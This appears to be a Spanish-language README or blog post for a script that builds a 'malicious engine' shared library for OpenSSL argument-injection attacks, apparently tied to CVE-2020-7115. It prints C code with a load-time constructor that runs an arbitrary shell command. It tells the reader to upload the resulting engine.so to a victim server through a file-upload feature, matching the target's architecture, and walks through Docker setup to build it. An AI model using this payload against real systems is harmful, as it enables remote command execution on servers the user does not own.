
Crea tu motor malicioso en segundos
Crea tu motor malicioso en segundos
Script sencillo para generar un motor malicioso listo para usarse en escenarios de inyección de argumentos de openssl.
Es muy simple, solo modifica el archivo engine.c con el comando de tu elección:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
Una vez que hayas hecho eso, solo necesitas ejecutar el script de la siguiente manera:
bash build_engine.sh
Este comando creará una carpeta llamada output, en ella encontrarás un archivo llamado engine.so que es el que debes enviar al servidor a través de una funcionalidad de subida de archivos.
Es importante que sepas que debes crear el motor malicioso con las mismas características del sistema víctima. Es decir... si el sistema objetivo se ejecuta en un linux de 64 bits, debes crear el motor malicioso en un linux de 64 bits.
Docker es una tecnología increíble para este tipo de cosas, y configurar tu entorno es muy fácil.
Primero descarguemos la imagen de docker desde este sitio para un sistema linux debian de 64 bits:
sudo docker pull debian
Luego vamos a levantar el docker de la siguiente manera:
sudo docker run -v `pwd`:/code -it debian
Entendamos un poco lo que hicimos aquí. La bandera -v se usa para crear un volumen, en este caso estamos asociando el contenido de la carpeta /code con el contenido de la carpeta de nuestro directorio actual, de ahí el uso de pwd.
Cuando digo asociar me refiero a que todo lo que creemos o editemos en /code (carpeta hospedada en la raíz de la imagen de docker), lo tendremos y lo veremos en pwd y viceversa.
En nuestro caso, pwd apunta al siguiente directorio en nuestra máquina local:
/home/retr0/CVE-2020-7115/
La bandera -it, por otro lado, puede entenderse de la siguiente manera:
La bandera -t (--tty) le indica a Docker que mapee una sesión de terminal virtual dentro del contenedor. Esto se usa comúnmente junto con la opción -i (--interactive), que mantiene STDIN abierto incluso si se ejecuta en detached mode.
Entonces, en efecto, usar la bandera -it es útil cuando queremos obtener una shell del contenedor en cuestión.
No hay problema, solo visita este post, y estoy seguro de que entenderás completamente esta vulnerabilidad.